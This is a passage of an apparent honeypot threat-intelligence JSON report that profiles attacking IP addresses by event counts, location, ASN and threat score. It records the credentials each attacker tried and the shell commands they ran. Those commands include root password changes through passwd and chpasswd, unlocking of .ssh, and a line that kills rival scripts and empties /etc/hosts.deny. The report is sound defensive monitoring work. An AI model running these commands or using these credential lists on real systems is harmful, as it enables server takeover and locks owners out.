        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:52:25.306000+00:00",
        "last_seen_30d": "2026-05-11T02:17:52.009000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 667,
        "Cowrie": 612
      }
    },
    "152.32.189.59": {
      "attack_count": 393,
      "first_seen": "2026-05-10T05:40:43.819Z",
      "last_seen": "2026-05-21T19:41:04.338Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "testuser",
        "wangzherongyao",
        "admin",
        "fedora",
        "frappe",
        "ftptest",
        "gitlab-runner",
        "icinga2",
        "meng",
        "nagios",
        "nomad",
        "priya",
        "qemu",
        "rabbitmq",
        "ren",
        "sangfor",
        "socks"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!Q2w#E4r%T",
        "12345",
        "123456",
        "1235",
        "123qwe",
        "1Q2W3E4R",
        "1qaz2wsx,.",
        "202424",
        "37games",
        "990909",
        "@WSXcde3$RFVbgt5",
        "@dm1n@123",
        "Fk123456@",
        "Gy123456.",
        "Hamid@2026",
        "Password@1",
        "Pp@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root\\nT6vBdEEr54M8\\nT6vBdEEr54M8\\n\"|passwd",
        "echo \"wangzherongyao\\nBirZPNsZtqon\\nBirZPNsZtqon\\n\"|passwd",
        "echo -e \"root\\nT6vBdEEr54M8\\nT6vBdEEr54M8\"|passwd|bash",
        "echo -e \"wangzherongyao\\nBirZPNsZtqon\\nBirZPNsZtqon\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 529,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:40:43.819000+00:00",
        "last_seen_30d": "2026-05-21T19:42:09.258000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 136
      }
    },
    "50.116.72.133": {
      "attack_count": 349,
      "first_seen": "2026-05-16T02:36:29.185Z",
      "last_seen": "2026-05-31T07:47:54.238Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "dbus-helper",
        "dixi",
        "intell",
        "linux",
        "pakchoi",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "09N1RCa1Hs31",
        "123",
        "12345%$",
        "2022",
        "963852",
        "A1q2w3e4r",
        "ABCabc123",
        "Aw123456",
        "Kermit123@",
        "P455w0rd1234",
        "Push@8240",
        "QWEqwe!@#",
        "Qwer@1234",
        "Server1214!",
        "aessedai",
        "ali123",
        "debian"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1xJcd3xZi5Tv\"|chpasswd|bash",
        "echo \"root:H3QOWiqw6ikx\"|chpasswd|bash",
        "echo \"root:neuaX9swHFzq\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 427,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:36:29.185000+00:00",
        "last_seen_30d": "2026-05-31T07:48:58.048000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 349,
        "Suricata": 78
      }
    },
    "98.213.142.168": {
      "attack_count": 346,
      "first_seen": "2026-05-15T05:49:19.581Z",
      "last_seen": "2026-05-15T06:27:07.452Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "systemd-sync",
        "...",
        "dbus-helper",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "1928",
        "2064",
        "Albert",
        "Kermit123@",
        "Lhx123456",
        "Password2014",
        "Qq123456",
        "a1d2m3i4n5",
        "argo",
        "bingo123",
        "colorado",
        "doabarrelroll",
        "eclipse",
        "hp@123",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "o0o0o0o0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nfkeHiw2HPP6b\\nfkeHiw2HPP6b\\n\"|passwd",
        "echo \"root:9eP6XODH1OtA\"|chpasswd|bash",
        "echo \"warnight\\nalEABk6StVD2\\nalEABk6StVD2\\n\"|passwd",
        "echo -e \"linux123\\nfkeHiw2HPP6b\\nfkeHiw2HPP6b\"|passwd|bash",
        "echo -e \"warnight\\nalEABk6StVD2\\nalEABk6StVD2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Rockford",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 421,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:49:19.581000+00:00",
        "last_seen_30d": "2026-05-15T06:28:14.729000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 346,
        "Suricata": 75
      }
    },
    "89.144.209.122": {
      "attack_count": 287,
      "first_seen": "2026-05-28T18:10:06.355Z",
      "last_seen": "2026-05-28T18:40:30.006Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp_user",
        "jupiter",
        "user1",
        "admin",
        "dev",
        "developer",
        "felix",
        "robin",
        "steam",
        "syncuser",
        "tabata",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "369258147",
        "Abcd@1234",
        "Reza@123",
        "Ubuntu@2025",
        "asd",
        "dev123",
        "felix",
        "fjbdfdjkdsfs541544",
        "ftp_user@2025",
        "jupiter",
        "robin",
        "root",
        "syncuser",
        "tabata",
        "user"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"11111111\\nm7BNEyHukFdI\\nm7BNEyHukFdI\\n\"|passwd",
        "echo \"ftp_user@2025\\nMMcD4wZsHgjc\\nMMcD4wZsHgjc\\n\"|passwd",
        "echo \"jupiter\\nN4uJdvZOPLOa\\nN4uJdvZOPLOa\\n\"|passwd",
        "echo -e \"11111111\\nm7BNEyHukFdI\\nm7BNEyHukFdI\"|passwd|bash",
        "echo -e \"ftp_user@2025\\nMMcD4wZsHgjc\\nMMcD4wZsHgjc\"|passwd|bash",
        "echo -e \"jupiter\\nN4uJdvZOPLOa\\nN4uJdvZOPLOa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Vienna",
      "asn": 8447,
      "as_org": "Telekom Austria",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:10:06.355000+00:00",
        "last_seen_30d": "2026-05-28T18:41:32.017000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 50
      }
    },
    "92.205.183.29": {
      "attack_count": 282,
      "first_seen": "2026-05-29T23:41:12.083Z",
      "last_seen": "2026-05-30T00:04:45.587Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "frontend",
        "ts3",
        "deploy",
        "devuser",
        "ethan",
        "pedro",
        "pt",
        "rdpuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Aa123456@",
        "Abc123!@#",
        "Huawei12",
        "Mf123456.",
        "admin01",
        "adminadmin",
        "asdfghjkl",
        "devuser",
        "ethan123",
        "prueba",
        "pt"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\n5SVuLTEKoPqB\\n5SVuLTEKoPqB\\n\"|passwd",
        "echo \"123\\nKCjBK8hS38Kk\\nKCjBK8hS38Kk\\n\"|passwd",
        "echo \"admin01\\ntdWIdMSQO1hM\\ntdWIdMSQO1hM\\n\"|passwd",
        "echo -e \"123\\n5SVuLTEKoPqB\\n5SVuLTEKoPqB\"|passwd|bash",
        "echo -e \"123\\nKCjBK8hS38Kk\\nKCjBK8hS38Kk\"|passwd|bash",
        "echo -e \"admin01\\ntdWIdMSQO1hM\\ntdWIdMSQO1hM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:41:12.083000+00:00",
        "last_seen_30d": "2026-05-30T00:05:47.450000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 47
      }
    },
    "45.233.218.160": {
      "attack_count": 257,
      "first_seen": "2026-05-31T04:57:32.198Z",
      "last_seen": "2026-05-31T05:16:44.286Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "erick",
        "paul",
        "ftpuser",
        "oracle",
        "qw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe123",
        "232323",
        "Aa1234567890!",
        "P@ssw0rd@2026",
        "erick",
        "ftpuser1",
        "oracle#123",
        "paul",
        "qw",
        "r00tme"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd@2026\\n4J93UXJfoW9i\\n4J93UXJfoW9i\\n\"|passwd",
        "echo \"erick\\nAbbFw8FmixBw\\nAbbFw8FmixBw\\n\"|passwd",
        "echo \"paul\\n5Zr93XLCxrEg\\n5Zr93XLCxrEg\\n\"|passwd",
        "echo -e \"P@ssw0rd@2026\\n4J93UXJfoW9i\\n4J93UXJfoW9i\"|passwd|bash",
        "echo -e \"erick\\nAbbFw8FmixBw\\nAbbFw8FmixBw\"|passwd|bash",
        "echo -e \"paul\\n5Zr93XLCxrEg\\n5Zr93XLCxrEg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Crici\u00fama",
      "asn": 267340,
      "as_org": "ONDATURBO LTDA - ME",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:57:32.198000+00:00",
        "last_seen_30d": "2026-05-31T05:17:44.780000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "155.94.147.146": {
      "attack_count": 202,
      "first_seen": "2026-05-29T00:25:51.138Z",
      "last_seen": "2026-05-29T01:01:02.181Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mssql",
        "admin",
        "cindy",
        "ftpuser",
        "k",
        "postgres",
        "scs",
        "student1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz2wsx!@",
        "ChangeMe123!",
        "Huawei@2025",
        "P@ssw0rd!23",
        "admin",
        "cindy",
        "fjbdfdjkdsfs541544",
        "ftpuser123",
        "k",
        "mssql",
        "root12345",
        "scs",
        "student1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mssql\\nF6A9pAADdvzG\\nF6A9pAADdvzG\\n\"|passwd",
        "echo \"root:f4TMc5O7fiNN\"|chpasswd|bash",
        "echo -e \"mssql\\nF6A9pAADdvzG\\nF6A9pAADdvzG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T00:25:51.138000+00:00",
        "last_seen_30d": "2026-05-29T01:02:12.153000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 40
      }
    },
    "27.25.66.55": {
      "attack_count": 192,
      "first_seen": "2026-05-19T07:06:58.269Z",
      "last_seen": "2026-05-19T17:58:12.003Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:06:58.269000+00:00",
        "last_seen_30d": "2026-05-19T17:59:16.687000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 107
      }
    },
    "161.97.81.244": {
      "attack_count": 162,
      "first_seen": "2026-05-05T22:48:01.100Z",
      "last_seen": "2026-05-06T13:44:28.585Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:48:01.100000+00:00",
        "last_seen_30d": "2026-05-06T13:45:38.080000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 151
      }
    },
    "187.17.236.161": {
      "attack_count": 140,
      "first_seen": "2026-05-20T18:36:28.780Z",
      "last_seen": "2026-05-21T05:40:39.553Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Joinville",
      "asn": 28267,
      "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:36:28.780000+00:00",
        "last_seen_30d": "2026-05-21T05:41:47.808000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 71
      }
    },
    "96.127.175.154": {
      "attack_count": 108,
      "first_seen": "2026-05-10T09:57:46.646Z",
      "last_seen": "2026-05-31T21:33:37.093Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:57:46.646000+00:00",
        "last_seen_30d": "2026-05-31T21:34:42.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "168.197.250.14": {
      "attack_count": 94,
      "first_seen": "2026-05-08T02:09:59.781Z",
      "last_seen": "2026-05-31T22:13:38.162Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Firmat",
      "asn": 264776,
      "as_org": "Omar Anselmo Ripoll TDC NET",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:09:59.781000+00:00",
        "last_seen_30d": "2026-05-31T22:14:47.908000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "45.78.204.246": {
      "attack_count": 88,
      "first_seen": "2026-05-24T12:38:47.747Z",
      "last_seen": "2026-05-24T13:51:08.581Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dd",
        "dockeruser",
        "prueba"
      ],
      "passwords_attempted": [
        "12345",
        "Hello@123",
        "dd",
        "dockeruser",
        "prueba"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dd\\n1M9VTDgyn0uc\\n1M9VTDgyn0uc\\n\"|passwd",
        "echo -e \"dd\\n1M9VTDgyn0uc\\n1M9VTDgyn0uc\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:38:47.747000+00:00",
        "last_seen_30d": "2026-05-24T13:52:13.341000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 18
      }
    },
    "101.96.203.52": {
      "attack_count": 87,
      "first_seen": "2026-05-09T21:35:53.990Z",
      "last_seen": "2026-05-28T19:11:46.029Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "abc",
        "dev",
        "ll",
        "nokia",
        "packer",
        "postgres",
        "steam",
        "system",
        "user",
        "vision",
        "zk"
      ],
      "passwords_attempted": [
        "123",
        "------fuck------",
        "123123",
        "1234qwer",
        "Dev@2024",
        "eSER!@#",
        "nokia",
        "pAssw0rd",
        "packer",
        "system",
        "test",
        "user@12345",
        "vision",
        "zx123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.3,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 22,
